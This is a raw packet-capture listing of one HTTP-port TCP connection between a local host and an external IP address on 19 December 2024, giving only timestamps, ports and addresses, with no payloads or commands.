Dec 19, 2024 07:57:21.403140068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.404016972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.404066086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.404145956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.404194117 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.404782057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.404830933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.404876947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.404922009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.405632973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.405682087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.405735970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.405781984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.406485081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.406538963 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.406599045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.406645060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.407383919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.407403946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.407434940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.407454014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.408250093 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.408299923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.408337116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.408380985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.409112930 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.409162045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.409229040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.409275055 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.409982920 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.410034895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.410082102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.410135984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.410877943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.410928011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.410984993 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.411030054 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.411767006 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.411815882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.411853075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.411895990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.412623882 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.412673950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.412703991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.412744045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.413517952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.413575888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.413646936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.413696051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.414364100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.414439917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.414444923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.414587021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.415258884 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.415323019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.415353060 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.415397882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.416125059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.416178942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.416225910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.416269064 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.417112112 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.417162895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.417182922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.417228937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.417848110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.417896986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.417982101 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.418029070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.418790102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.418839931 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.418872118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.418915987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.419625998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.419676065 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.419708967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.419749022 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.420480013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.420532942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.420571089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.420614004 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.421346903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.421493053 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.421493053 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.421549082 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.422297001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.422348976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.422382116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.422425985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.423121929 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.423173904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.423264980 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.423332930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.423969030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.424021006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.424081087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.424127102 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.424854994 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.424905062 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.424952984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.424995899 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.463565111 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.583281040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.900886059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.900902987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.900999069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.901268959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.901299953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.901318073 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.901354074 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.902055025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.902107000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.902389050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.902447939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.902512074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.902551889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.903336048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.903389931 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.903409958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.903448105 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.904174089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.904222965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.904270887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.904311895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.905025005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.905071020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.905148029 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.905195951 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.905909061 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.905955076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.905993938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.906033039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.906790018 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.906836987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.906894922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.906944036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.907648087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.907696009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.907752991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.907794952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.908543110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.908588886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.908648014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.908693075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.909472942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.909518003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.909590960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.909635067 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.910371065 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.910417080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.910492897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.910536051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.911113977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.911164045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.911262989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.911338091 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.912022114 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.912067890 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.912138939 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.912183046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.912913084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.912955046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.913006067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.913047075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.913760900 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.913804054 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.913882971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.913923025 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.914618015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.914659977 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.914767027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.914809942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.915508986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.915553093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.915608883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.915649891 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.916374922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.916416883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.916480064 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.916521072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.917269945 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.917316914 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.917375088 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.917414904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.918101072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.918142080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.918222904 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.918262959 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.919002056 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.919054031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.919121027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.919163942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.919989109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.920037031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.920108080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.920294046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.920766115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.920814991 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.921029091 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.921070099 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.921638012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.921679020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.921736002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.921777010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.922475100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.922522068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.922597885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.922651052 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.923353910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.923393965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.923470020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.923511982 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.924216986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.924266100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.924325943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.924375057 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.925177097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.925223112 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.925260067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.925328016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.925968885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.926021099 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.926081896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.926125050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.926873922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.926939011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.926981926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.927023888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.927745104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.927787066 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.927825928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.927879095 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.928590059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.928637028 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.928740025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.928786993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.929466009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.929512978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.929601908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.929646969 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.930351019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.930396080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.930536985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.930584908 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.931224108 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.931266069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.931350946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.931391954 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.932099104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.932138920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.932255030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.932293892 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.932974100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.933027029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.933063984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.933110952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.933842897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.933886051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.933958054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.933995008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.934726000 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.934779882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.934830904 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.934870005 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.935602903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.935647011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.935683966 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.935734034 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.936464071 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.936511993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.936559916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.936600924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.937366009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.937411070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.937484026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.937530041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.938189030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.938234091 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.938294888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.938338995 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.939080954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.939126015 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.939192057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.939230919 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.939968109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.940011024 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.940068007 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.940108061 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.940828085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.940874100 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.940918922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.940958023 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.941689968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.941736937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.941783905 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.941823959 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.942588091 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.942631006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.942655087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.942692041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.025861979 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.025927067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.026144981 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.026144981 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.026284933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.026335001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.026352882 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.026396036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.026932001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.026989937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.027017117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.027061939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.027798891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.027857065 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.027903080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.027945042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.028661966 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.028723001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.028767109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.028810978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.029548883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.029593945 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.097510099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.097527027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.097573042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.097601891 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.097773075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.097815990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.097901106 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.097942114 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.098788023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.098889112 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.098907948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.098937988 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.099503040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.099572897 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.099597931 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.099637985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:22.100372076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:22.100415945 CET	49759	80	192.168.2.4	185.215.113.206
